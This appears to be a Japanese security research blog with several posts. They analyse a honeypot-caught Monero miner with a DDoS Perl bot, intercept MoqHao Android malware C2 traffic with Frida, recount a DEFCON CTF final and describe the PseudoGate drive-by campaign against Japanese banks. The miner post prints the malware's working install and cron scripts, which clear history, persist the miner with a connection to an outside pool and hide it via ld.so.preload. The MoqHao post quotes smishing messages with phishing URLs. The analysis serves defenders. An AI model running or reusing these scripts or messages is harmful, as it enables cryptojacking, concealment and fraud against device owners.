2021年12月20日月曜日

Terraformers ~他人のマシンに隠れて住み着くゴキブリ共~

はじめに

こんにちは。アクティブディフェンス研究所 学生アルバイトの紫関麗王(@n01e0)と申します。今回は弊社が設置しているハニーポットにて最近観測された斬新な構成のmining malwareについてご紹介します。

背景

時は202X年、不正な仮想通貨マイニング攻撃は増加の一途を辿り、攻撃者の間ではインターネット上の脆弱なリソースを巡る争奪戦が起こっていた。
そんな中、あるアクターは革新的な手法を思いつく。
「既存の除去ツールを使って更地にしてしまえば独占できるのでは...?」
弊社が設置したハニーポットて観測された、そんな手法を用いて実装された検体の解析結果をまとめる。

他人のマシンで戦うな。

概要

アーカイブが展開された後の主な挙動は

  1. 競合マイナーの除去
  2. GitHub上で公開されている既存のscriptを用いて整地を行います。

  3. crontabによるマイナー及びDDoS PerlBotの永続化
  4. マイナーとC2をcrontabによって再起動後も実行されるようにします。

    マイニングにはXMRigを使用し、XMR(モネロ)の採掘を行います。

  5. shared-objectによるマイナーのprocess hiding
  6. ここでもGitHub上で公開されているコードを用いてps等のコマンドからマイナー本体を隠します。

タイトルはこれらの整地(Terra forming)、永続化、秘匿の性質から付けました。

構成

アーカイブは.logs以下に展開されます

 :           directory
config.json: ASCII text
cron:        ASCII text
cron.d:      ASCII text
dir.dir:     ASCII text
init:        POSIX shell script, ASCII text executable
install:     ASCII text
prchid:      ASCII text
prchid.c:    C source, ASCII text
python.txt:  ASCII text, with very long lines
sftp-server: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers
SHA256SUMS:  ASCII text
xmrig-notls: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67f66d47179eb1c184ddfac9b895e76da2110af8, stripped

この中で実際の活動に使用される重要なファイルは以下の9種です。

config.json
cron
cron.d
init
install
prchid
prchid.c
python.txt
sftp-server

install

#Let`s go
set +o history
history -c
sleep 1
chmod +x *
./init
./cron
./prchid

echo "Blana de urs"

1st payload.

まずは操作履歴を残さないようにした上で、既に残されている履歴を消去します。

展開されたすべてのファイルに実行権限を付け、

  1. init

    競合マイナーの排除

  2. cron

    XMRig、DDoS PerlBotの永続化

  3. prchid

    XMRigのプロセスを隠す

の順で実行します。

init

MinerKiller.sh

マイナーの除去ツール

競合することになる他のコインマイナーを先にシステム上から削除します。

GitHub上のコードをそのまま使っているわけではなく、微妙にコードが追加されており、嬉しいことに(?)更に強力な除去ツールになっています。

cron

pwd > dir.dir
dir=$(cat dir.dir)
crontab -r
cd $dir
chmod 777 *

rm -rf cron.d
cd $dir
nohup ./sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >> /dev/null &
sleep 5s
nohup perl python.txt >>/dev/null &
#* */12 * * *
echo "@reboot $dir/sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >>/dev/null 2>&1
0 0 */3 * * perl $dir/pyton.txt 2>&1" >> cron.d

sleep 3s

crontab cron.d
crontab -l
echo "PORNIT!"

マイナー

cronで実行されるsftp-serverがマイニングを行うxmrig本体(version 5.5.1)です。

$ ./sftp-server  --version
XMRig 5.5.1
 built on Jan 12 2020 with GCC 5.4.0
 features: 64-bit AES

libuv/1.34.0
OpenSSL/1.1.1d
hwloc/2.1.0

xmrig-notlsとsftp-serverは、CFG等の特徴がかなり類似しています。

一方、xmrig-notlsは、名前の通りOpenSSLに依存していないようです。

$ ./xmrig-notls --version
XMRig 5.5.1
 built on Jan 12 2020 with GCC 5.4.0
 features: 64-bit AES

libuv/1.34.0
hwloc/2.1.0

これらの特徴から、おそらく違いはビルドオプション(-DWITH_TLS=OFF)だと想像できます。

DDoS PerlBot

また、python.txtはPerlスクリプトで、base64でエンコードされたDDoS PerlBotを実行します。

このプロセスは

/usr/sbin/apache2 -k start
に偽装してC2(IRC)に接続し、命令を受け取ります

  • 接続先
    • 51[.]195.26.217:6667
  • チャンネル
    • #vuln

公開されているものとの差分はほぼ無く、変更点は接続先等でコマンドの追加などもありません。

ポートスキャン、DDoS、シェル実行などの機能があり、このDDoS PerlBotは他の検体でも広く使われているのを確認しています。

prchid

GitHub - gianlucaborello/libprocesshider: Hide a process under Linux using the ld preloader

readdirとreaddir64を自作の関数でhookし、/proc上のsftp-sreverに関するファイルを読めないようにするコードです。

sed -i 's|evil_script.py|sftp-server|g' prchid.c
gcc -Wall -fPIC -shared -o libprocesshider.so prchid.c -ldl
mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
rm -f prchid.c

ここではDDoS PerlBot(プロセス名 /usr/sbin/apache2)は隠されていません。

作成された共有ライブラリは/etc/ld.so.preloadに置かれるため、ldはデフォルトでロードしてしまいます。

これにより、ps等のコマンドによるマルウェアの発見が困難になります。

設定

xmrigの設定ファイル(config.json) 一部抜粋

  "pools": [
    {
      "algo": null,
      "coin": null,
      "url": "donate.v2.xmrig.com:3333",
      "user": "44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy",
      "pass": "x",
      "rig-id": null,
      "nicehash": false,
      "keepalive": false,
      "enabled": true,
      "tls": false,
      "tls-fingerprint": null,
      "daemon": false,
      "self-select": null
    }
  ],
ここでwalletのアドレスが指定されています。

cronや設定ファイルから分かる送付先の情報は以下の通りです。

user: Prinse
pass: Prinse
pool: 51[.]195.26.217:3333
addr: 44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy

おわりに

更地にした上で自分のマイナーを置くことで独占したい攻撃者の心理は理解できるが、その方法として既存の除去ツールを(より強化して)使うアイデアには関心しました。

また、私事ではありますが、現在就職活動(23卒)を行っています。詳しくはこちらをご覧下さい。

IoC

  • 51[.]195.26.217:3333
  • 44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy
  • evil_script.py
  • DDoS PerlBot v1.0
  • dauPORNO
  • dauPORNO.eu

現在確認している類似した検体の一覧(sha256sum)

053a265612ee0a5884fdfa84a6f54c4bcf69ea4ee260c530c1e5036f86f7bd45
07acb67bd5e7db03bf9034fee2d75a82e58037552f78d2879d0977cd6818beb9
1200075fc715014c0de834eb44b6c19740b7bea7292a11ea6878533f0dd27e1d
14247c0d0e80554e2f4fe77bdfa6d30cab285d28aa6fe7e9ecb59271881f0d7b
1605bddae7296cf98c88ca864811041447d4e2494d0fa71d5ac70c1b8a0c08c9
18411e7eedfaf49eb9518d41b5257c9d806cec9bcc68fd13a43779128632e561
184739150b385e26c042b85df214aa1a5de54576f7b2f2757c48be4ff7342942
2fd6239e7abe744851924411ec905e1441bfbb81dcd8575eaabafd3a979e2213
361f6ec311f132fe808f654c45694485d811d8a3b692da10e4d053039c7c44bb
38517d9bb1c2846652f44ae63fd05b64c263760cd4683ab53573e208555d3b03
3e6f3c3875c8602e59c4682b934b9b6eb2279daf7b14e75d862d9e052822d85e
462f32ae969ae080f89df2b629cbefcd4dab9633344aeb86bdc556a375c88580
4a47840174c2ea86a57cca17f95f093a656aaf29aa8b21685819f8f98b84397b
508271b05bd9cd11228e14920d0d9d1d5bfaa68ffaf942eb41787bf500a64aa4
6699dce573333fd11e94a8d0b2b75f6b584d0350aa406e83ebe36a8614c6e6c0
737b52a90014f6a9236c8d4292e37926350acf71383aaabbe7f3584810a1dc97
79c1fd95d9c44c190311e5095dc03bac248c33e7165b0ed44f0789e98e28e7e2
8939a6fd0f366083221b4840ebde52a49da29c625d87f08f4b26a4a54c45d4da
975d901a949c06070b682e5951cd16d76718cff26ddd753f1d8df73d95d9636c
a0cbce2c74b911f9b2a58571495746fea49ba641473071615020c5deaad6ce9a
a02d9913952851ce8e24c4aa5b39eacde3a1b9f1319806b75dbadd76e41db2eb
a24d8f9ae67acdc8d204d53afd989f61b65499525adb256a40d71430944b897c
a58fe8e077e48ae1392dd2207cf3346cd1134be06011b8145c90e337329a99e8
a3075f60d23aa8634a7092ca875a6105a3d3b727ce5f3c85a2693d55b7b97ecb
b23f112d6e96c5977d1ac9929ad76b6674fff3c85a9ae26074e4cdeac099ae0e
b706d8c7a18f23a820bc101530db6004211d39c6546b679d1a3a05a92d76fd10
b9310e77bfb4e8f32e4711b227bdcf22847f04c8459e3d9daf9f6d26f95c5407
bc9326ff94f4477e9d1592bc9f277f3b7823be0c734a6139461c683be4d2a141
caabfc347a8c0633b60ceb9c4dbc2c188132bc7c8e64b4ae0aa62d4bf9e9c839
d80f2bb2e725ae22f027055b63bc567f2761b0911501ef84d31ff606c108f3f5
dac46519a1adc475310335f2d1eca4a92b633050e6e57b1e984c70735d2cafec
e5f10d59c989793fdc8cfa292f9e3dc4c664397148b2225fd3a6ec28ca8cb612
eb629b6b6c80a30b232a1d5dcb462960ef0d5032dddff101dc087262003fbab4
f2ae9e5070fe9de75b1209f304853310bb14480e0615b8f7a44e49dc81fc0a8a
f4b2f6fdd95a02b10915d966f79c50053cd8f9c5ad723ad687fbe02c8ddd796e
f4d968c7e64b5dfdccb21a5b7d79876d896c46ad6607e44ede3efb073a4805c8
f651b437d7d45720596bb1952b9f4dd55cb94885101887c487f5bdf6df24c9de

2021年12月16日木曜日

FridaをもちいたAndroid Malware解析(MoqHao, XLoader)

FridaをもちいたAndroid Malware解析

はじめに

こんにちは。アクティブディフェンス研究所 学生アルバイトの森瑞穂(@morimolymoly) と申します。今回はSmishing(SMSを用いたフィッシング)で猛威を振るうマルウェアファミリMoqHao(XLoader)のC2通信をFridaを使って傍受する手法をご紹介いたします。

MoqHao概要

MoqHaoは詐欺SMSに含まれるURLからダウンロードされるアプリケーションをインストールすることで感染するトロイの木馬型ウィルスです。

我々の観測している範囲内では、Chromeや日本郵便やクロネコヤマトなどのアプリに偽装しています。感染すると詐欺SMSを拡散し、端末内の情報も抜かれます。

これらのアプリケーションはほとんどの機能をパッキングしたペイロードに実装しています。これを後々アンパッキングし、実装された機能を呼び出します。

解析概要

Dynamic InstrumentationツールのFridaを使用して、C2通信に関わる関数を特定、フッキングします。フッキングした後は通信をダンプいたします。

今回はroot化をせず、frida-gadgetをアプリに挿入、アタッチ、フック、解析を行います。

またペイロードのアンパッキング手法は今回は省きます。

Frida-gadgetの配置

frida-gadgetを参考文献[1]のとおりにアプリにインストールします。コツとしてはAndroidManifest.xmlのINTENTとMAINが付与されたactivityのsmaliのクラスのonCreateメソッドの中のlocal変数の数が指定された直後にパッチします。

# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 4

    const-string v0, "frida"
    invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    new-instance p1, Landroid/content/Intent;

    const-class v0, Lgq6h1y4/zfService

次にライブラリを配置します。今回は32bitのfrida-gadgetをインストールすることにしました。

➜  japanpost tree lib/armeabi-v7a/   
lib/armeabi-v7a/
├── libfrida.config.so
├── libfrida.so
└── libka.so

libfrida.config.soは以下のような設定ファイル。

{
  "interaction": {
    "type": "listen",
    "address": "0.0.0.0",
    "port": 27042,
    "on_port_conflict": "fail",
    "on_load": "resume"
  }
}

参考文献[3]に書いてあるものを少し改変しました。

frida-gadgetがロードされたあとにアタッチを待たずに実行を続けるようにしました。

そのあとにビルドして署名して端末に入れます。

apktool d japanpost.apk -o japanpost
apktool b -o jjj.apk --use-aapt2 japanpost/
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore custom.keystore jjj.apk testkey

端末上でアプリを立ち上げ、 frida-ps でプロセスに Gadget がいるかを確かめていたら動作完了です。

➜  japanpost frida-ps -U | grep Gadget
14258  Gadget

フッキング

実際にフッキングしてみます。

テストのために com.Loader$q クラスのonReceiveメソッドを監視してみます。

まずfrida-gadgetにスクリプトを渡すためのコードを記述します。

次にスクリプトを書きます。トリッキーになっているのは、動的にクラスがロードされる場合、fridaはうまく解釈してクラスを検索できないからです。[4]

import frida
import os
import sys
import argparse

def parse_hook(filename):
     print('[*] Parsing hook: ' + filename)
     hook = open(filename, 'r')
     script = session.create_script(hook.read())
     script.load()
  
  
if __name__ == '__main__':
     try:
         parser = argparse.ArgumentParser()
         parser.add_argument('script', help='Print stack trace for each hook')
         args = parser.parse_args()
  
         session = frida.get_usb_device().attach('Gadget')
         parse_hook(args.script)
         session.resume()
         print('')
         sys.stdin.read()
  
     except KeyboardInterrupt:
         sys.exit(0)
'use strict;'

if (Java.available) {
  Java.perform(function() {

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let loaderq;
        try{
          loaderq = Java.use("com.Loader$q");
          console.log("com.Loader$q gotcha!");
          loaderq.onReceive.implementation = function(a, b) {
            console.log("[+] inside method", a, b);
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });
})
}

これが成功するとonReceiveメソッドが監視できます。

通信に関する関数を特定する

送信・受信のデータを傍受するために、暗号化やアンパッキングを飛ばして入口・出口をフックしてデータを覗き見しましょう。

MoqHaoはC2との通信に、MessagePackとWebsocketを使用します。

また、通信開始時にログに、 skif frame など特徴的な文字列を吐き出します。

これらの文字列をたどっていくと、 com.j クラスにたどり着きます。

送信

送信時には com.jo メソッドが呼ばれることがわかりました。



これをフックして、引数を出力するとC2への送信内容がわかります。また、パラメータがうまく出力できないので、 org.msgpack.core.buffer.MessageBufferUputBytes メソッドをフックして詳細を出力しました。

受信

com.j クラスの中身を解析すると、 受信時にはm メソッドが呼び出されることがわかりました。



これを静的解析すると、MessagePackでアンパックして、その結果を q メソッドに渡すことがわかります。 q メソッドの引数を出力するとC2からの司令を覗くことができます。

通信に関する関数をフックし、傍受する

Fridaを使ったフッキング&解析はトライアンドエラーでフックを仕掛けては外してを繰り返して目的の関数を定めていくことができます。今回も静的解析一発で出力はできませんでした。まずいかにコードを示します。

'use strict;'

if (Java.available) {
  Java.perform(function() {

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let msgpack;
        try{
          msgpack = Java.use("org.msgpack.core.buffer.MessageBufferU");

          msgpack.putBytes.implementation = function(d, a, b, c) {
            try {
              const str = a.toString();
              const chars = str.split(',');
              let bstr = "";
              for (const ch of chars) {
                bstr += String.fromCharCode(Number(ch));
              }
              console.log(bstr);
              return this.putBytes(d, a, b, c);
            }catch(error){
              console.log(error);
            }
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let comj;
        try{
          comj = Java.use("com.j");
          console.log("com.j found!");

          comj.o.implementation = function(a) {
            try {
              console.log("to c2:", a);
              return this.o(a);
            }catch(error){
              console.log(error);
            }
          }

          comj.q.implementation = function(a) {
            try {
              console.log("from c2:", a.x());
              return this.q(a);
            }catch(error){
              console.log(error);
            }
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });
})
}

概ね先述の通りのフックになっていることがわかるかと思います。

com.jq メソッドのフックの console.log 時に、 a.x() と呼び出していますが、これはトライアンドエラーの結果で、単純に引数を出力するとエラーになるので(エラーというよりアウトプットがうまくいかない)、toStringなメソッドが生えていないか調べ、返り値の型がStringな関数に焦点を当て呼び出しています。toStringなラベルが無いのはおそらく難読化によるものであると考えられます。

C2からの司令

今回はSMSを送信させる司令である sendSMS を観測いたしましたので以下に内容を示します。

from c2: {"jsonrpc":"2.0","method":"sendSms","id":89,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://locmwfecfw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":90,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://locmwfecfw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":91,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lrxakntmnw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":92,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":93,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":94,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":95,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":96,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":97,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":98,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":99,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":100,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":101,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":102,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":103,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}

生々しく配信先の電話番号と文面が記されています。

おわりに

Fridaを使ったメソッドフッキングでC2通信の内容を傍受いたしました。

Fridaの使用方法紹介からC2の司令内容のダンプまで紹介いたしました。

今回の検体は大まかにはMessagePackを使用して簡素な通信を行っていましたが、今後暗号化が強化された際に今回の手法は効果を大きく発揮することでしょう。また、この手法の強みは出口と入口さえわかれば暗号化・復号化をスキップして目的の値を取得できるところにあります。

IoC

  • 765119852dc93c3a5d397cbaa167ac148856dba9773062626ed4aeb9674f860c
  • 45[.]114.129.50:28877
  • https://m.vk[.]com/id674309800?act=info
  • https://m.vk[.]com/id674310752?act=info
  • https://m.vk[.]com/id674311261?act=info

Special Thanks!

Nyleon88氏(https://twitter.com/Nyleon88) - C2配信の挙動についての情報などを提供していただきました

参考文献

[1] https://koz.io/using-frida-on-android-without-root/

[2] https://www.trustedsec.com/blog/mobile-hacking-using-frida-to-monitor-encryption/

[3] https://frida.re/docs/gadget/

[4] https://serializethoughts.com/2021/05/07/frida-java-classloaders

2018年9月12日水曜日

DEFCON 26 CTF Finals 参加記

CTO(CTF Training Organizer) の前田です。
8月9日〜12日(現地時間)に行われた DEFCON 26 CTFのFinals にチーム binja の一員として参加してきました。



DEFCON 26 CTF Finals 概要

DEFCON CTF は世界最大の CTF 大会です。

今年は予選の結果 24 チームが決勝に進出し、そのうち 2 チームが日本のチームでした。
私が参加したチーム binja は 24チーム中 8 位という結果でした。



CTFのルール

ルールの詳細については公式のページに記載されているので、ここでは大まかに説明します。

まず、問題は例年通りの Attack&Defense (A&D) 形式の問題のほか、King-of-the-Hill(KoH) 形式の問題も出題されました。運営の説明で "like SECCON" と言っていた通り、問題を上手に解いている上位 5 チームには 5 分ごとに KoH point が加算されます。
"New Era" を強調しているからか、A&D のルールは若干特殊になっていました。
通常であればサービスを稼働させると SLA チェックがあり、フラグを奪ったチームに加点、奪われたチームは減点になるルールですが、今回は KoH 同様 5 分単位のラウンド制でラウンド内でフラグを奪うと奪ったチーム数分の点数が Attack point として入り、奪われたチームに減点はありません。その代わり、ラウンド中にフラグを奪われたチームにはそのラウンドの Defense point が加算されません。
これらの Attack/Defense/KoH のポイントを、40:40:20 になるように調整したものがゲームのスコアとなります。
また、 A&D なので当然アプリケーションを修正して防御することになりますが、この辺りも特殊ルールとなっていて、脆弱性を直接修正する代わりに運営にパッチを送ることで修正を行う形式になっていました。

CTF内で出題された問題

CTFでは 3 日に渡って次々と問題が出題されました。
問題にはライフサイクルが設定されていて、ある程度解かれた問題については途中でクローズされるため、大体常に3問程度の問題に取り組めるように構成されていました。

1日目
  • reverse (KoH) : 
  • pointless
  • twoplustwo
  • doublethink (KoH)
2日目
  • oooeditor
  • poool
  • bew
  • vchat
3日目
  • reeducation
  • propaganda (KoH)

個人の取り組み

binja 内で私が取り組んでいた内容について紹介します。

スコアボード作成

競技開始時は reverse に取り組んでいましたが、スコアサーバ内に現在のゲーム状況を記録した JSON ファイルが置いてあることに気づき、それをスコアボードとして見やすく整形するページの作成に取り掛かりました。
チームのスコアを確認するためにはスクリーンに映されるスコアボードを眺める必要があったため、作業効率をアップさせるためにも作成してよかったです。

自作スコアボードのスクリーンショット

スコアボードには現在の点数、最終ラウンドで獲得した点数、 KoH 内のランキングの表示を実装しました。
1 日目の半分は Attack/Defense/KoH の点数から計算される最終的なスコアの計算式を当てようと頑張っていましたが、結局特定には至らず、最後までランキングの順位表示は壊れたままになってしまいました。
2 日目には A&D 問題への攻撃が増加したため、JSON 内に含まれていたチーム間での攻撃ログとチームの得点履歴も併せて表示するようにしました。
3 日目はランキング表示の凍結とともに運営から JSON が提供されなくなったため、このスコアボードは役目を終えました。

pointless

1 日目の夜〜 2 日目は pointless に取り組みました。
この問題は MIPS のバイナリで、プログラムの最初の部分で暗号を使った認証処理が行われている様子だったのでこの部分の解読に挑戦しました。
かなり時間を掛けたものの完全な理解に至らず、問題はクローズされてしまいました。
この問題で攻撃ができればよかったのですが、この部分を突破できずに攻撃に繋げられなかったのでかなり悔しいです。

認証を通過すると脆弱性のある処理に到達できてしまう仕組みになっていたので、とりあえず認証処理に使われている値を少し変更するパッチを当てて様子を見ました。
しかし最終的には攻撃ログに pointless と binja の文字が登場していたので、守り切ることはできませんでした。

bew

web を逆から読んだ問題名なことから連想されるように、Web の問題です。
Web といっても問題の本質は WebAssembly なのでこれが DEFCON クオリティですね。

問題は容疑者の名前を報告できるという単純な Web サービスです。
サービスは Node.js 上で動いていて、報告した名前は Node.js から呼び出される WebAssembly 内で謎の "sanitize" をした後、そのままJavaScriptとして実行されるという、Web屋からすると謎の問題になっていました。
しかも sanitize される文字列は require と fs のみという非常に簡素なもので、おそらくこれらは require('fs') を使ってフラグを読み出されないようにするための対策だったようです。
また、Node.js のコードには直接手出しはできないようになっていて、パッチを当てられるのは WebAssembly のファイルだけという制限がありました。

WebAssembly 内の sanitize 関数

2 日目の夜にはこの sanitize 関数を読み、簡易の sandbox コードを前後に挟み込むパッチを作成して翌日適用するも、パッチの動作確認で失敗。今考えれば入出力が一致してないので当然アウトになりそうですね。
慌てて WebAssembly 内からデータを eval している部分を飛ばすようにパッチしたところ、これは普通に動いたようで一安心。アプリケーションの動作ガッツリ違うけどそれで通るのか。

他に夜の解析では、任意コード実行ができる脆弱性があるにも関わらず、問題のソースコードの権限がサーバの権限と同じに設定されているという問題や、任意コード実行が express のハンドラ内で起きるため Web アプリ自体を破壊できるという問題が見つかりました。
バグが見つかってもパッチ対象は指定の wasm ファイルだけなので、これらの問題は一旦放置していましたが、実際にこの手の攻撃は横行していて、 binja もパッチの適用に失敗している隙にバックドアを仕掛けられていました。

バックドアを仕掛けていた TokyoWestens のメンバーに聞いたところ、自チームからのアクセスのときだけフラグを表示し、他のチームに対しては表示させないような処理を入れていたそうです。
さすがにこれは運営も想定外だったらしく、ラウンドごとにサーバーの再起動を行うことで永続的なバックドアを仕掛けられないように途中で仕様の変更が入りました。

攻撃の方は夜に平行で攻撃コードをチームメンバーの tyage さんが書いていたので任せっきりでした。こちらはパッチを的確に当ててくるチームが多くて最初は苦戦していましたが、なぜか途中でパッチが外れているチームがあったようでそれなりに得点できていたみたいです。

まとめ

バイナリガチ勢ではないので DEFCON CTF Finals でどこまでバイナリを倒せるかという不安が若干ありましたが、バイナリを触りつつチームのサポートや Web 風の問題など幅広く動けたので自分の持ち味は出せたのかなと思います。

ただ、やはりバイナリの比重が大きいのでその部分で貢献できるようにならないと得点にはつながらないというのも事実で、今後も精進が必要だと感じました。

2018年8月27日月曜日

日本を標的とした新たなDrive-by Download攻撃キャンペーンPseudoGate

概要

弊社ではCyber Tactical Databaseという脅威情報配信サービスを提供していますが、そのためのThreat Huntingの一環として、Drive-by Download攻撃の観測・解析を行っています。これまで日本を標的としたDrive-by Download攻撃キャンペーンとしては、Seamlessと呼ばれるRIG Exploit KitとRamnitを用いた攻撃キャンペーンが知られていました。SeamlessはCisco Umbrellaによって報告され、Malwarebytesなど様々な研究者がレポートを公開してきました。弊社の小池もこれまでに2度SeamlessとRamnitについての調査レポートを公開しています。しかし、Seamlessは2018年3月末頃から観測報告が減少し、現在ではその活動は停止したのではないかと考えられています。

Seamless localized to Japan - www.nao-sec.org
Analyzing Ramnit used in Seamless campaign - www.nao-sec.org

そうしたSeamlessとは入れ違いに台頭し、日本を標的としている攻撃キャンペーン(我々は"PseudoGate"という名称で識別しています)を、弊社では2018年7月頃から観測しています。PseudoGateはRIG Exploit KitやGrandSoft Exploit Kitを用いてPanda BankerやKronosなどのBanking Trojanを送り込みます。それらのBanking Trojanは主に日本の金融機関のWebサイトを閲覧した際に悪性コードを挿入し、ユーザが入力した機密情報を窃取します。

今回はPseudoGateのトラフィックの全貌と、実行されるBanking Trojanについて行った調査・解析について紹介します。

トラフィック解析

PseudoGateはMalvertising系のDrive-by Download攻撃キャンペーンです。ユーザはWeb広告によって様々なサーバをリダイレクトした後、攻撃者が用意したWebサイトへ到達します。そのWebサイトは元々は正規のWebサイトですが、攻撃者によって改ざんされており不正なコードが挿入されています。そうしたコードによってRIG Exploit KitやGrandSoft Exploit Kitへリダイレクトが行われ、攻撃が行われるという流れです。

PseudoGateのトラフィックチェーン(GrandSoft Exploit Kit)

PseudoGateのトラフィックチェーン(RIG Exploit Kit)

PseudoGateで用いられている改ざんされたWebサイト(以下、Compromisedサイト)は非常に高頻度で変化します。我々が観測したCompromisedサイトの一部を以下に示します。

  • http[:]//www.gaibandhachamberbd.com
  • http[:]//envirodry.ca
  • http[:]//www.lucascontabil.com.br
  • http[:]//www.sobages.com
  • http[:]//www.stylehog.ca
  • http[:]//pmconsultors.com
  • http[:]//bleeppod.com
  • http[:]//balmyfurniture.com

これらのCompromisedサイトに共通する要素として、WordPressを用いているということが挙げられます。また、Google検索を経由してこれらのCompromisedサイトへアクセスした場合、以下のように全く関係のないWebサイトへリダイレクトが行われることもありました。

Google検索の結果

リダイレクト処理

リダイレクト先の例

IEでアクセスした場合、Compromisedサイトには以下のようなコードが挿入されており、RIG Exploit KitやGrandSoft Exploit Kitへリダイレクトが行われます。

Compromisedサイトに挿入されたコード

RIG Exploit Kitの場合、CVE-2015-2419やCVE-2016-0189などの長く悪用されてきた脆弱性に加えて、Adobe Flash Playerの脆弱性であるCVE-2018-4878やVBScript Engineの脆弱性であるCVE-2018-8174といった最新の脆弱性を悪用することでマルウェアを実行させます。GrandSoft Exploit KitではCVE-2018-8174のみが悪用されます。こうして様々な脆弱性を悪用してユーザ環境でマルウェアをダウンロード・実行させています。

EKTotalによる解析結果

RIG Exploit KitにおけるCVE-2018-8174のコード例

マルウェア解析

初めに実行されるマルウェアはSmokeLoaderです。SmokeLoaderはユーザ環境が攻撃ターゲットであることを確認すると、2次検体をダウンロードし、実行します。我々はPanda BankerとKronosの2種類の2次検体を確認しています。

Panda Banker

我々が発見したPanda Bankerについて、Flashpoint-IntelのVitali Kremez氏が詳細な解析レポートを公開しています。詳細はそちらを参照して下さい。

Let's Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules - Vitali Kremez

Kronos (Osiris)

Kronosは2014年頃に大きな話題となったBanking Trojanで、2017年夏にMalwareTechの愛称で知られるMarcus Hutchins氏がKronosの作成に関わったとしてFBIに逮捕されたことは記憶に新しいでしょう。

今回観測された検体がKronosであることは、その特徴的な挙動やバイナリ内に存在する文字列から明らかでしたが、幾つか我々の知らない振る舞いが確認されました。その特徴の1つとして、C2との通信にTorを用いていたことが挙げられます。

SmokeLoaderとKronosのトラフィック

Kronosに関しても、我々のtweetを参照したレポートがProofpointによって公開しています。

Kronos Reborn - Proofpoint

このレポートによると、我々が観測したKronosはOsirisという名前で販売されていた可能性があることが分かります。また、レポートにかかれているC2サーバについて調査を行った結果、Full Info Grabberが動作しており、日本の金融機関を標的としているように思えるJavaScriptコードが存在しました。標的となっている可能性のある機関の一部を以下に示します。

  • イオン銀行
  • エポスカード
  • 出光クレジット
  • ライフカード
  • 三菱東京UFJ銀行
  • OMCカード
  • オリコカード
  • ポケットカード
  • 楽天カード
  • セゾンカード
  • 三井住友銀行
  • トヨタカード
  • UCカード


結論

日本を標的としたDrive-by Download攻撃キャンペーンであるPseudoGateは、Panda BankerやKronosを用いて、ユーザの金融機関情報を窃取しています。正規のWebサイトを改ざんして攻撃を行っていたり、アップデートされたKronosを用いることで高度な攻撃を行っています。

